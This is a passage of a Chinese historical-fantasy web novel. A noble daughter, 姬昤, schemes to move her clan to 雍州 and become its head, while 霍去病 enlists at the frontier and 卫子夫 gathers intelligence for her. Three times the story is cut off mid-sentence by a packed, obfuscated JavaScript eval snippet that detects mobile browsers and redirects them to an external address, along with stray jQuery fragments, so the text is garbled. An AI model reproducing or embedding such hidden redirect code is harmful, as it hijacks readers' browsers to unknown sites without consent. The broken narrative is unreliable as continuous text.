“陛下这是明摆着要和我姬家作对了?!”姬四爷火爆脾气一点儿也忍不了,当即就发火了,怒喝道。
前脚降了他儿子的职位,后脚又把三兄的两个儿子调任西北苦寒之地,明眼人都能看出来不对了!
姬大爷眉头紧锁并没有说话,大家却能从他的眉眼中瞧出不悦。
姬五爷也没说话,神色瞧着淡淡的,也不知道在想什么。
“四弟冷静,这种时候万不可冲动。”姬父皱着眉开口道,“这件事我早有预料,只是不曾想这一天竟来得这么快。陛下这是要把针对姬家的事摆在明面上了?”
姬昤见状,觉得自己表现的机会来了,她走了过去,说道:“阿耶,这不正是一个机会吗?趁姬家还未被清算,我们趁早搬离建康。”
在这发展她得避着这个避着那个,很累啊,不利于她发家。更何况天子脚下,她如何悄咪咪地发展出一万兵马还不被发现?
“你说什么?”姬四爷以为自己听错了,看向姬昤的眼神都不好了,“昤昤,你再说一遍,四叔好像听错了什么。”
“不行!为何要离开建康?在这待的好好的,我们姬家又是建康大族,在这说一不二的,凭何要离开?难不成陛下一个心思我们就要躲开了?姬家又不怕皇家!”姬五爷十分不赞同,更何况他女儿马上就要出嫁了,他都想好了之后的路了,怎能离开?
姬大爷比较冷静,常年浸在沙场有一双锐利的眸子,直勾勾地盯着姬昤:“昤昤为何这么说?说说你的想法。”
其余人等,主要是姬昤几位叔伯的儿女们,个个跟看笑话似的看着姬昤,尤其是刚被吓过不久的姬莲,更是连嘴角的笑意都没掩藏住。
姬昤扫视了圈,平静道:“安朝看似安稳,实则内虚,不出两年定天下大乱,届时建康就会成为权斗的漩涡,并不安全,不如趁早搬离。我看雍州就不错。”长安就在那儿,日后新朝定都就可以定在长安了。
姬四爷冷笑一声,说道:“三兄真是生了个好女儿,还能看出天下乱不乱了,我怎么瞧着如今安朝越发安稳了?还有,你一个女儿家,怎能决定整个家族的命运?能让你说出来也是看在你是家主之女的份上,否则这里哪有你说话的份?!”
姬大爷皱眉,虽不语,瞧着却是赞同姬四爷的话的。姬五爷亦是不语,他神色晦暗,退到了一边,不知在想什么。
姬父目光不悦地射向姬四爷:“四弟好好说话,我还在这站着呢。”
他虽然对于昤昤的想法有些难以置信,虽然也是觉得女儿家不必管这些,但昤昤是他的女儿,是被他宠着长大的,何时听过这样的话?
“三兄,你在这儿我也要说!姬昤到底是女儿家,你还是得好好教导,不该说的话别说,省的传出去让外人以为咱们姬家如今是女子当家了,惹人笑话!”姬四爷说完冷笑了几声,还看了看四周,不少人跟着笑出了声。
姬昤冷静地扫视了一圈,记下笑的人的模样,大多是四房五房的人,大房的人跟大伯一样性子都比较淡,对此也只是多瞧了她和四叔几眼,笑的人还真没有。
姬父眼里闪过一瞬间的心虚,因为昤昤是真跟他说过要当家的。
姬父假咳了几声,说道:“我是姬家家主,昤昤是我的女儿,自小便乖巧懂事,如今也只是为了姬家好,四弟你却恶意揣测她的意思,你又是何用意?况且昤昤的话也不无道理,如今安朝不稳,北边匈奴、鲜卑、羌胡肆意侵略,就连建康都遍地是乞儿、流民,若乱世真的到来,我姬家身处乱世中心可能保全?四弟,你说说看,如何保全?”
姬父越说到后面语气越是自信,他发现自己说得越来越对,对女儿的话也更加相信。
昤昤虽是女儿,却是个有眼光的,或许让她来当家主会是个正确的选择,她也会比阿瑾和阿瑜要做得更好。
姬四爷吞吞吐吐半天才说道:“姬家用得着怕吗?几百年都过来了,不过小小乱世,避上几年等新朝出现,我们姬家又是望族!”
姬四爷此话一出,院子里不少人还附和点头赞同他的话。
姬五爷也道:“四兄说得有理啊,我们姬家确实用不着怕。”反正他背靠大树好乘凉,万一届时姬家真出事了,他五房这一脉也能保全,不至于大家一起死。
“大兄你呢?你如何想的?”姬父看向姬大爷。
姬大爷看向姬昤的目光耐人寻味,他问:“为何是雍州?”
姬昤回答:“雍州地处中原核心,地理位置优越。虽说边上就是匈奴和鲜卑、羌胡,危险重重,但同时也是我们的机会。”况且她还有霍去病。
“机会?什么机会?等那些蛮夷把我们姬家杀光吗?昤昤啊昤昤,四叔一直觉得你乖巧懂事,想着你及笄后也是大孩子了,马上也要嫁人为人妻、人母,怎的越发不懂事了?”姬四爷说完还重重叹了口气,仿佛姬昤说了什么大逆不道的话一般。
姬大爷本想说话,不更新被姬四爷插了几嘴,等姬四爷说完他才问道:“什么机会?”
姬昤淡淡一笑:“陛下如今不是忌惮我们姬家想要对付我们吗?那我们主动退到雍州这个没人愿意去的地方,明面上我们还能替安朝抵御北方蛮夷,那么陛下哪怕是看在这个份上也不会对我们轻举妄动,除非他想要皇位不稳。”那就正好便宜她了。
姬四爷冷笑一声,像是听到了什么笑话一般,摇了摇头走到了一边不再言语。
姬五爷眼珠子转了转,心里细细算计着,想着下一步该如何做,也是走到了一边,旁人瞧着他是在思索,却不知想着什么。
姬大爷沉默了一瞬,然后道:“军中事物繁忙,我还有事,便先走了。”待他走到门口时又回头看了眼姬昤,再看向弟弟。
“三弟有个好女儿啊。”说罢转身离去。
姬莲笑眯眯地走到了姬昤身边,小声道:“昤妹妹这是跟谁学的这些?咱们女儿家嫁个好郎君才是正经事,你怎的还操心族里的事了?瞧,有谁听你的?”
姬昤笑了一下,在姬莲耳边道:“若让族里知晓莲姐姐还和匪徒有联系,莲姐姐还能好好站在这与我说话吗?”
她派人查过了,之前姬莲派来跟踪她反被杀挖了眼珠子送去吓姬莲的人正是匪徒出身,干了不少腌臜事,也算是死有余辜。
姬莲脸色一变,下意识环顾了一圈,就怕大家都盯着她们这边发现她的不对劲。
果不其然,好些个都盯着她们看。
姬莲结结巴巴地说道:“我不知道你在说什么,我听不懂。”说罢赶紧走开,甚至有些不敢看大家探究的目光。
姬父走到姬昤身边,眼神欣慰,却也有担忧:“昤昤,你同阿耶去书房。”
姬父脚步一滞,回头看向卫子夫:“你回昤昤的院子吧。”
卫子夫不语,只是看向身边的姬昤,待姬昤点头这才应下。
姬昤随着阿耶离开,月栀跟在其后,卫子夫回了英兰苑,其他人也渐渐离开了四房的院子。
书房。
“阿耶记得你幼时最爱看那些话本子,最喜欢听奇闻异事,何时晓得的这些?”姬父指的是方才姬昤对迁居雍州的看法。
“女儿又不是只看那些,阿耶也太小瞧女儿了。”姬昤走上前抱着姬父胳膊撒着娇。
姬父无奈笑道:“哪有,阿耶可从来没小瞧过你,就是你啊,今日是否冲动了些?那么多族人都在,你说的那些话怕是要传到族老他们的耳里,估摸着待会儿就要见你了。阿耶也是担心你,那些个族老惯会折磨人。”他就深受其害。
姬昤一想到那些倚老卖老的族老们就忍不住想翻白眼。那些个老家伙她都见过,小的时候还被他们惩罚跪祠堂呢,美其名曰为了姬家昌盛,不过是仗着自己年纪和辈分在那作威作福,那次她不过是像男孩子一样玩耍罢了,便被批判“没有娘子模样日后怕是会辱没姬家名声”。
可恶!
“见就见,我还想看看这么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326126|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多年了还活着几个呢!”姬昤没好气地说道,说完还笑了。
姬父下意识瞥了眼外面:“唉,昤昤莫要这么说,让他们听到又要罚你了。”
昤昤自小因为这性子总被族老们罚跪祠堂、抄家规,他这个做阿耶的哪怕是家主都没法儿阻止。
“罚便罚了,反正我也不怕他们!若真要让我来当家主,第一件事就是把那些倚老卖老的族老们清算了!”姬昤愤愤道。
“唉!”姬父拉了下姬昤的衣袖。
姬昤嘻嘻一笑:“阿耶,这就你我二人,不怕旁人听见。”
“那也不能乱说,若你想当家主,就该注意你的言行举止,万不可再这么说话了。”姬父拍了拍姬昤的手背,劝道。
姬昤微笑:“阿耶这是支持我了?”
姬父无奈道:“看看如今的姬家早已不复当年盛景,或许你能改变姬家吧,阿耶……信你。”
姬昤抱着阿耶在他的脸颊上落下一个轻吻:“谢谢阿耶!”
姬父一把推开了姬昤,无奈道:“多大的孩子了还这样?以后可不许了!”
怎的幼时如此,长大了亦是如此?唉,到底是孩子。
“好好好,不做了不做了。阿耶若无旁的事,我先回去了?”姬昤笑呵呵地看着父亲。
姬父点头,摆了摆手,示意她回去吧。
姬昤蹦蹦跳跳就要离开书房,但思及方才自己说得那些话,到了门口就沉稳下来,微微垮着一张脸出去了,不知道的还以为她被训了。
月栀也是这么以为的,她在门口等着娘子出来,却见娘子神色不好,忙问了句,却只听娘子说“无事”,她便不好再多问什么,只觉是在四房院子里时那些笑话娘子的人惹了娘子生气。
姬昤和月栀走在弯弯绕绕的小路上,姬昤突然停下了脚步,她一抬手,身后的月栀也停了下来。
“娘子,怎么了?”月栀好奇地问。
前面什么也没有,为何娘子突然停下了?
“我好像听见了卫子夫的声音,还有……四叔?”姬昤皱眉。
月栀脑筋一转,轻声道:“娘子,不会是四爷看上卫姐姐了吧?方才奴婢瞧着四爷的眼神就不对劲呢!”
姬昤又往前走了些路,待瞧到人影后便躲在一处假山后仔细听着。
卫子夫往后退了一步,神色淡然,她道:“四爷自重,我是三娘子的人,您这般可有征得三娘子、家主和家主夫人的同意?可有四夫人的同意?”
姬四爷满脸不耐:“要他们同意做什么?再说了,你跟着我就是荣华富贵享不尽的,且只要你生下儿子,我可以让你和夫人平起平坐,你莫要担心。”说罢就要去拉卫子夫的手。
卫子夫脑袋微垂,瞧见那伸过来的手时眸光一黯,她抬眸刚想说些什么,只见一柄长枪朝着姬四爷飞了过去,最终擦破姬四爷的一片衣袖牢牢钉在了假山上,这突然的一下不仅吓到了卫子夫和姬四爷二人,更吓到了躲在假山后的姬昤和月栀。月栀差点叫出声来,还是姬昤捂住了她的嘴。
“原是四爷,真是对不住,我以为是什么登徒浪子妄图欺负子夫,便把枪扔了出去,没吓到您吧,四爷?”杨妙真赔着笑走了过来,说是赔罪,却没一点那个意思。
她又走到假山前,手握在枪柄上,刚想拔出就和姬昤对上了目光,姬昤摇了摇头,杨妙真神色正常地拔下了长枪,走回到卫子夫身边。
“四爷,您和子夫说什么呢?有什么都等我们三娘子回来再说吧。”她道。
姬四爷忍下不耐,心中颇为震惊。
姬昤身边何时有这样的女子,竟还会使枪?不是说只是有几个姬昤的好友来借住吗?这都是她从哪里认识的?
“没什么,见到了一帕子以为是这位娘子的,原是我认错了。”姬四爷说完转身就走。
待姬四爷走远了,姬昤和月栀这才从假山后走出。
“你没事吧?”杨妙真问卫子夫。
卫子夫摇了摇头。
“日后你就待在英兰苑内,若要出去定要有人陪同,离我这四叔远点,他就是个好色之徒。”姬昤走过去,一边说道。
卫子夫却沉默了一瞬,接着缓缓露出笑容:“或许……这也是个机会能帮到主公。”
姬昤:“啊?”
11. 参军
姬昤坐在窗前撑着脑袋看着外面随风飘起的花瓣,脑袋里想着两位兄长该到哪儿了。
马车行驶着,偶有颠簸,晃得里面的二人一下子惊醒。
姬瑾掀开帘子一角往外望了望,接着又放下帘子。
“阿兄,到哪儿了?”姬瑜伸了个懒腰打了个哈欠,问着。
“前面就是弋阳郡了,届时休息一晚再赶路。”姬瑾说道。
“弋阳?怎么才到这儿啊?还没出豫州……我们何时才到雍州、凉州?凉州可还要再远些呢!”姬瑜说着哼了声,“陛下也是,怎的突然这么糊涂,要把我们调到那里去?那是什么地方?真要觉得我们治下有方就该调回建康!”
姬瑾假咳了几声,瞪了眼姬瑜:“慎言!”
姬瑜倒是一脸无所谓:“慎言?慎什么言?那皇帝老儿都不在,能听到吗?更何况这外面都是咱姬家的人,阿兄你怕什么?胆子真是愈发小了。”
姬瑾无奈道:“这到底是安家的天下,你说话还是小心些,何况现在……皇上怕是要清算姬家了。”
姬瑜本来坐着没个正行,闻言立刻坐直了身子,他道:“清算姬家?安家算老几啊?当初皇位怎么来的忘了?没我们姬家他安家还能登上皇位?真是白眼狼!”
姬瑾瞪了眼姬瑜,虽说弟弟说的实话,但那毕竟是皇家,这般议论终归是不妥。
“要我说,这皇位就该我姬家人来坐!”姬瑜接着又道。
姬瑾双眼瞪大,一把捂住了姬瑜的嘴:“你胡说八道什么?!”
姬瑜拉开兄长的手,放低了嗓音,说道:“我没有胡说!我姬家百年望族,只不过是不想罢了,若要真去争那个位置,哪里轮得到安家来坐?”
姬瑾深深地看了眼姬瑜,接着长叹一口气:“你知道为何姬家百年望族却没有出过一位皇帝吗?”
“不就是懒得当嘛!当皇帝也不好,被这个束缚那个束缚,我姬家人也不稀罕。”姬瑜回答。
“这只是最浅显的一个理由。”姬瑾说着神色突然有些落寞,“姬瑜,姬家存在百年,已逐渐走下坡路了,现在亦不复当年梁朝盛景,如果陛下铁了心要清算姬家,左右不过多联合几家的事,我们姬家已经挡不住了。”
姬瑾所说的梁朝已经是一百三十四年前的朝代了,姬家就起于梁朝,因一次偶然的机会于梁朝十九年的时候兴起,至此开启了长达八十年的“统治时代”。
那时的姬家就连皇室都是供着、让着的,直至梁朝最后的几年时光,那时梁朝内乱崩裂,起义军四起,姬家也受到了严重影响,当时的家主为了姬家着想带着姬家隐退。再接着就是魏朝、景朝和如今的安朝,姬家已经不如当年了。
姬瑜闻言,神色也认真了许多,眉眼间带着担忧。
“阿兄,姬家……真的要不行了吗?阿耶这个家主做得挺好的呀,我瞧姬家那些人一个个还是嚣张无比的,不像是要……没落了呀。”
尤其是四叔和五房的几个郎君娘子,一个个都是用鼻孔瞧人的。
“你向来只看表象,现在的姬家,不,不只是姬家,萧家、崔家、王家、陈家……各大士族都不太行了,姬瑜,或许我们这次调任雍州、凉州会是一个机会。”姬瑾又掀起了帘子,瞧着路上的行人,一个个穿得勉强蔽体,他看向远方高高的城墙,那里是弋阳郡。
姬瑜透过窗口看向外面,他的神色有些惊讶:“怎的路上这样的人越发多了?”
“世道怕是要乱了……”姬瑾喃喃道,又放下了帘子,似是不忍心再看。
“那那两地岂不是……”姬瑜说到这停住了,他好像看见了飞起的黄沙和百姓干裂的嘴唇,他们的眼里似乎含着泪水。
霍去病抬手挡在额前,他眯着眼看着远方,那里是匈奴的地盘。
他赶路这么久终于到了。
“大哥哥,你在看什么?”路过的小孩站在霍去病身边,仰着头好奇地问着。
“我在看……”霍去病低下头,却愣了一瞬。
小姑娘扎着两个小辫子,小脸黄黄的有些粗糙,但两个眼睛却又黑又亮,她瞧着有些瘦,嘴巴也是干的。
“我在看匈奴。”霍去病回答。
“看他们做什么?那都是坏人,应该打他们才对。”小姑娘说完还哼了声。
“你说得对。”霍去病点头赞同,他救赎来干这个的,只是现在缺个名头。
“大哥哥,你看着不像我们这里的人啊,你是来这做生意的吗?”小姑娘又问。
他们这里虽说也有这般好看的男儿,却不如这大哥哥精细,这里风沙大,养不出娇嫩的花儿。
“嗯……”霍去病想了想,“我是来打匈奴的。”也多亏了他自己在来的路上救了个人,巧的是那人是个当官的,给了他通关文牒,他这才能一路顺畅,就是不知现在该如何去打匈奴,他现在是要啥没啥。
小女孩两眼一亮:“打匈奴?大哥哥你是当兵的吗?”
“是吧。”霍去病含糊道,但转念一想,这就是途径啊!
“小姑娘,你知道在哪儿可以参军吗?”他问。
小姑娘“啊”了一声,有些不解,大哥哥不就是当兵的吗?怎么还要参军?那是当兵的还是不是啊?
不过霍去病眼神太过热烈真挚,小姑娘便说道:“你跟我来,我带你去吧。”
小姑娘带着霍去病七拐八拐找到了地方,这里只有一个穿着军装的男人懒洋洋地坐着,三三两两的人排着队在登记。
“喏,就在那!”小姑娘指着那边说道。
“谢了。”霍去病说着走了过去开始排队。
总共也没几个人,很快就到了霍去病。
“姓名。”登记的人头也没抬,说话页数懒洋洋的。
“霍去病。”霍去病回答。
“哟,这名字倒是不错,跟前面那几个铁柱、二牛比起来可好听太多了,念过书的吧?”登记的人还是没抬头,只是一边写着一边问。
“嗯。”霍去病应了声。
“哪儿的人啊?”登记的人又问。
霍去病沉默了一瞬,回答:“我……我……”说到后面还挤出了泪水。
登记的人一抬头就瞧见霍去病似乎在抹眼泪:“你哭啥?长得还挺好的,细皮嫩肉的来参军……”
“我家原是西海郡的,没了,都被匈奴抢去了。”霍去病一脸悲伤。
登记的人长叹一口气:“原是如此,可怜呐……”说着写下西海郡三字。
霍去病瞥了眼然后擦干净泪水。
那已经被匈奴抢去了,便是去查也是查不到有没有他这个人的。
“多大了?我瞧你才十六七的样子。”他打量了一下霍去病,然后空了点位置写下有关他体貌的描写——
长八尺,容貌堂堂,风姿绰约,英武不凡……
“十七。”霍去病忍俊不禁,但还是努力憋住了笑,毕竟他才哭自己家没了。
“啧,年纪轻轻来当什么兵。”登记的人虽这么说也还是写下了,毕竟现在这边缺兵,他又问,“家中什么情况?家有几人?”
霍去病两眼一眨,眼泪又出来了:“家里就是农户,一起也没了,就剩我一个了。”
登记的人又是叹气:“你擅长什么吗?比如骑射。”
“对,就是骑射。”霍去病当即点头。
“啊?你家里都是农户你还能擅长骑射?”登记的人有些疑惑。
霍去病神色淡然地解释道:“住在边疆的人哪有不会骑马的?曾经有邻居是猎户,教了我射箭。”
登记的人了然地点了点头:“既如此,你正好去骑兵的队伍,好了,登记完了,今日酉时三刻在这里集合。这牌子你拿好。”说着拿了个木牌子递给霍去病。
“嗯。”霍去病接过木牌子,应了声。
“对了,我姓刘,你叫我刘哥就行。”他又道。
“好的刘哥。”霍去病笑着应道,说完转身就要走。
“唉,等等。”刘哥喊住了霍去病,待他转身接着说道,“你都没家了,那在这可有去处?”
霍去病摇摇头。
“罢了罢了,去我家吧,我让你嫂子做顿好的,你一起吃点吧。”刘哥抓了抓头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326127|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你去呗,春花嫂子做饭可好吃了!”小姑娘扯了扯霍去病的衣服。
“你们认识?”霍去病好奇问道。
“嗯!我还去吃过饭呢,不然咋知道春花嫂子做饭好吃?”小姑娘点头。
“走吧走吧,正好晌午了。”刘哥起身收拾好东西拽着霍去病就走了,连带着小姑娘一起。
刘哥家在一条巷子尽头,几人绕来绕去终于到地方了。
“春花!中午多俩人吃饭,你多少点好菜!”还没走进院子刘哥就扯着嗓子喊道。
三人进入院中,就见一圆脸、杏眼、手里还拿着锅铲的女人从灶间出来,她抬手擦了擦额间细微的汗水,她嗓音响亮,笑着应了声“好”,接着又走了回去。
“来,坐,待会儿让你尝尝你嫂子的好手艺,这手艺我在军营的时候天天都想呢!”刘哥带着两人到桌前坐下。
一大一小两个孩子从屋内跑了出来。
“阿耶!”两个孩子喊着,然后扑进了刘哥怀里。
“唉!早上都做了些什么啊?”刘哥笑得一脸慈祥,柔声问着两个孩子。
“帮阿母洗菜!”姐姐先说道。
“帮阿母洗菜!”弟弟很小,说话也不太利索,只是重复姐姐说的话,说完还笑呵呵的。
姐姐又转头看向霍去病,然后又看向自己阿耶,有些害羞地问:“阿耶,这个大哥哥是谁啊?”长得真好看。
“你好啊。”霍去病笑着打了个招呼,露出一口大白牙。
姐姐整个人都窝在阿耶的怀里,露出半张脸笑着看着霍去病,一脸的不好意思。
“这是今天参军的大哥哥,家里就他一个了,阿耶就把他带回来一起吃饭,你可别欺负人家!”刘哥捏了捏女儿的脸。
姐姐面色一变,瞪了眼自己阿耶:“我哪里是那样的人?阿耶真讨厌!”说罢脱离了怀抱跑到了小姑娘身边。
“小花走,我们玩去!”姐姐拉过小姑娘的手。
两个女孩子手拉着手就跑开了。
“等等,窝!还有窝!”弟弟小跑着跟了上去。
刘哥不好意思地抓了抓脑袋:“这孩子自小调皮惯了,你别理她。”
“无碍,孩子么,都是这样的。”霍去病并不在意。
等了不过一刻钟,菜都上齐了,六个人围着一张小桌子吃着。
“哎哟,可怜见的,你多吃点,还长身体呢。”春花嫂子听了霍去病的遭遇,满脸心疼,给他碗里夹的菜堆得小山高。
“谢谢嫂子,你们吃,都吃。”霍去病扫了眼眼前的菜,都是再普通不过的菜,荤腥少的可怜,就这样,刘哥和春花嫂子还拼命给他夹菜,两个孩子还眼巴巴地看着他的碗。
都是可怜人。
“刘哥,近来匈奴有来骚扰吗?”霍去病问。
这里是长城郡,离匈奴很近,匈奴时不时就来扫荡抢粮,百姓们日子苦得很。
“倒是安分了大半个月没来了。”刘哥回答。
“我瞧这里守军有些松散,是……上面不太管吗?”霍去病又问。
刘哥叹了口气,想再吃口菜犹豫了会儿还是放下了筷子和碗,他道:“管啊,可是管也没办法,建康那边不管啊!不给人不给粮不给钱,全靠我们这里自给自足,匈奴又总来抢,我们哪里有办法?”
霍去病心里暗道,皇帝昏庸,倒是给了主公机会,待他拿下军功混入朝廷中,说不定就能策反一些人,还能带走军队直接为主公效命。就是苦了边关的百姓,一直遭受折磨。
“你小子还年轻,届时上了战场别往太前面冲,留条命吧。”刘哥劝了句。
“嗯嗯,晓得晓得,我肯定不会往前冲的。”霍去病点头应着,思绪却飘远了。
“多吃点多吃点,别跟咱客气。”春花嫂子又给霍去病夹了菜。
霍去病有些感动,露出大大的笑容,像雪融后的春水,冷冽中带着温暖,看着就让人欢喜。
姐姐又看呆了,连带着弟弟也一起呆呆地看着霍去病,像是被迷住了。
刘哥和春花嫂子对视了眼,笑得有些无奈。
12. 罚跪祠堂
淅淅沥沥的春雨下着,一滴滴落在青石板路上溅起点点水花,春风不算温暖,还有些刮人。
穿林打叶声传入姬昤的耳朵,她却觉得格外动听,比眼前这些爱说教的老家伙们的声音好听太多了。
“女儿家满嘴胡话,真不知道你阿耶阿母都是如何教导你的!”老者下巴的白胡子长长,他一只手抚摸自己的胡子,一只手杵着一根拐杖端坐在上方,眼神不善。
“你也及笄了,也该嫁人了,可有相看好人家?你阿母也该上点心了。女儿家还是要嫁个好人家相夫教子的,不该掺和的事不要去管。”一瞧着要年轻些的老者语气虽温和,可姬昤能从他的眼里瞧出不耐。
“姬家儿女中,就你从小就不听话,上天入地摸鱼爬树的,没一个姑娘家的样子,如今长大了还是这么不让人省心!你之前的那些话也就是在家里说说,若是让外人知晓了,怕是都要笑话我姬家出了个‘不得了’的娘子了!”又一老者说道,说完还冷哼了声。
“还有你院中的那几个友人,不是暂住吗?这都住了多久了?怎的还不回去?她们也都是娘子,没嫁人吗?家中不管吗?我们姬家可不是谁都能长住的。”又一人说道。
……
姬昤是一点儿都听不进去,就觉得一群白胡子老头叽叽喳喳的吵死了,她不禁挪了下膝盖,一直跪着疼死了。
眼尖的老头开口骂道:“怎的,让你跪着还委屈你了?觉得自己没错?组规抄了那么多遍也没见你记住!家主,我看你平日里是太过疏于对孩子的教导了!”他说着指向姬父,吹胡子瞪眼的。
姬父张了张嘴却不知该怎么反驳,可看见宝贝女儿跪在地上又是满眼心疼。
姬母站在姬父身边,忍不住扯了扯他的衣服。
姬父开口道:“各位族老,昤昤她……她就是调皮了些,没有坏心思的,她也都是为了姬家好。”
“哼!绥英绥英……这表字让你取的,给她性子都养野了!”一老头冷声道。
姬昤闭了下眼,忍下不耐。
“我看还是早日找个好人家把她嫁出去吧。”一老头说道。
姬母也是忍不住了,开口道:“昤昤虽已及笄,但也不过十五,还小,我当年嫁进姬家也有十八了,昤昤再等几年又何妨?还是说各位族老觉得以姬家的地位,昤昤年龄大了便嫁不出去了?”
姬母凛冽的目光扫过众族老,众族老面色变得不太好看。
姬昤泪眼汪汪地看着自己阿母,心里一阵感动。虽然之前阿母一直催着要给她找婆家,可在关键时刻还是站在她这边的。
“是啊是啊,昤昤才十五,婚姻大事可不能草草决定。”姬父也附和道。
“既如此,那便管好自己的嘴,什么该说什么什么不该说心中应当清楚才是!你可是姬家嫡出一脉的娘子,要给旁人做好榜样!”一老头指着姬昤说道。
“是,姬昤清楚。”姬昤心不甘情不愿地应道。
族老们听得出来她的不情愿,但到底还是要给家主和家主夫人二人面子,也就不管了。
“这次小惩大诫,就在祠堂跪一晚吧。”最年迈的族老开口说道。
“是。”姬昤又应了声,依旧是不情不愿。
族老们相继离开,祠堂内只留下姬父姬母和姬昤三人。
待族老们走远了,月栀立马关上了门,紧接着跑到姬昤身边扶着,姬昤从地上爬了起来,拍了拍自己的膝盖处。
“傻子才跪呢!”姬昤嘟囔了句。
“跪疼了吧?阿母给你揉揉。”姬母走了过去,一边弯腰揉着姬昤膝盖处的软肉。
“阿母揉了就不疼了。”姬昤抱着姬母的胳膊撒娇道。
“好好好,阿母多给你揉揉就好了。”姬母无奈笑道,手下动作不停。
姬父扫了眼祠堂内的一众牌位,轻叹了口气。
“阿耶叹气作甚?”姬昤问。
“你呀,这些族老们年纪也大了,说的难听些,也都活不了多久了,日后还是少说那种话吧。若真忍不住,你就别说,做就是了。额……不,唉……罢了。”姬父说着说着便觉自己意思表达不对,也就不再说了。
姬昤笑了:“行,我直接做,少说多做。那些族老们不得被我气死?哈哈哈。”
姬父虽觉得不好,却也觉得好笑,没忍住笑了几声。
四人互相瞧了瞧,都忍俊不禁。
下午时分,雨渐停了,阳光透过半开的窗户洒在了姬昤跟前的地上。
姬昤坐在软垫上伸出手,感受着阳光的温暖。
“这个时候也不知道阿兄他们到地方了没。”姬昤自言自语道。
“娘子,还早呢,现下估摸着才到荆州吧。”月栀坐在姬昤旁边,说道。
“唉,才到一半,那再等半个月再给他们寄信吧。”姬昤一边说着一边玩着——用手在阳光下变换各种样子,“还有霍去病,这都去了边疆这么久了,怎么一点儿消息都没有?唉……”
一旁的月栀不禁问:“娘子,届时姬家真的要搬去雍州吗?听闻那里的百姓过得都很苦,我们去了那儿也会过苦日子的。”
“莫怕,那里本身不苦,该有的都有,怪就怪匈奴总是去抢去杀。”姬昤回答。
月栀瞪大了眼睛,怎么听着更苦了?
“那,那,娘子,我们何时去啊?”月栀问。
她可得好好准备准备,一直听闻边疆苦,什么吃的喝的用的她可得多带些,不能苦了娘子还有她自己。
“还不知道呢,我得先当上家主才行,不然姬家人多嘴杂的,能有几个人听我的?”姬昤收回手摸了摸肚子,看向月栀,“我都有些饿了,去拿点吃的来吧。”
“唉,这就去。”月栀从地上起身转身跑出了祠堂。
待月栀走后,从门外走进来一人——卫子夫。
“主公。”卫子夫微蹲了一下,接着走到姬昤身边跪坐下。
“进展如何?”姬昤问。
卫子夫淡笑,回答:“那姬四爷就是个好色之徒,脑子也笨,我不过言语上多哄了几句,就什么都跟我说了。”
“哦?”姬昤勾唇,来了兴趣。
“姬四爷与四夫人有了隔阂,姬四爷嫌夫人年纪大了又生不出儿子,生的几个儿子也都无用,便纳了许多妾室进门,又许诺我只要我跟了他生下儿子,就让我和四夫人平起平坐。四房总共两名
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326128|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郎君四名娘子,如今就只剩下二郎君和五娘子、十五娘子了,姬四爷现在日日夜夜都要宿在妾室们房中,前些日子有两人被把出有了身孕,四夫人早已心灰意冷,如今更是一病不起。”卫子夫缓缓道。
“四房……四叔玩得还挺花。”姬昤挠了挠鼻子,有些无语。
卫子夫轻笑了声,又道:“娘子也该放心了,四房抢不了家主之位的,就是大房和五房……”
“嗯?有何高见?”姬昤又问。
“据属下观察,大房大多是心思深沉之辈,心思难以捉摸,而五房的人虽瞧着张扬了些,但也都有自己的算盘,就说十二娘子,她与谢家定亲,而那谢家明明早已落魄,为何五房会将嫡女嫁过去?当时在八郎君的丧仪时属下观察过,五房怕是和其他势力勾上了,只是属下能力有限,不得知是何方势力。”卫子夫回答。
“嗯,我也派了人去查了,只是一时半会儿的还没消息。”姬昤。
“主公,我们最应提防大房,五房的心思不在家主位,而大房……”卫子夫。
“知道了。我那大伯和大伯母确实是不简单的,尤其是大伯母,总是闷声不响干大事。”姬昤说着还有些佩服。
“若实在不行,不如以武力掌控姬家,直接抢了家主位。”姬昤又道,还挪了挪屁股坐的位置,似乎是坐久了不舒服。
“主公莫要冲动,武力掌控可作为下策,最好还是掌控人心,以实力登上家主位。”卫子夫柔声道。
姬昤不好意思地笑了笑:“嗐,放心放心,我不会乱来的。”
卫子夫脑袋微向后侧了点:“来人了,属下先告退。”说罢起身快速离去。
不过多久,月栀回来了,手里拿着一个食盒,她在关上门前还小心翼翼地瞧了瞧,就怕被人看见。
“娘子,奴婢拿了些糕点来,还有一碗糖水。”月栀在姬昤身边坐下,说着一边打开了食盒,把吃的拿了出来,在姬昤面前放好。
接着,月栀又抬头瞧了眼前面的姬家祖宗们的牌位,不禁说道:“娘子,要给祖宗们贡些吃食吗?”
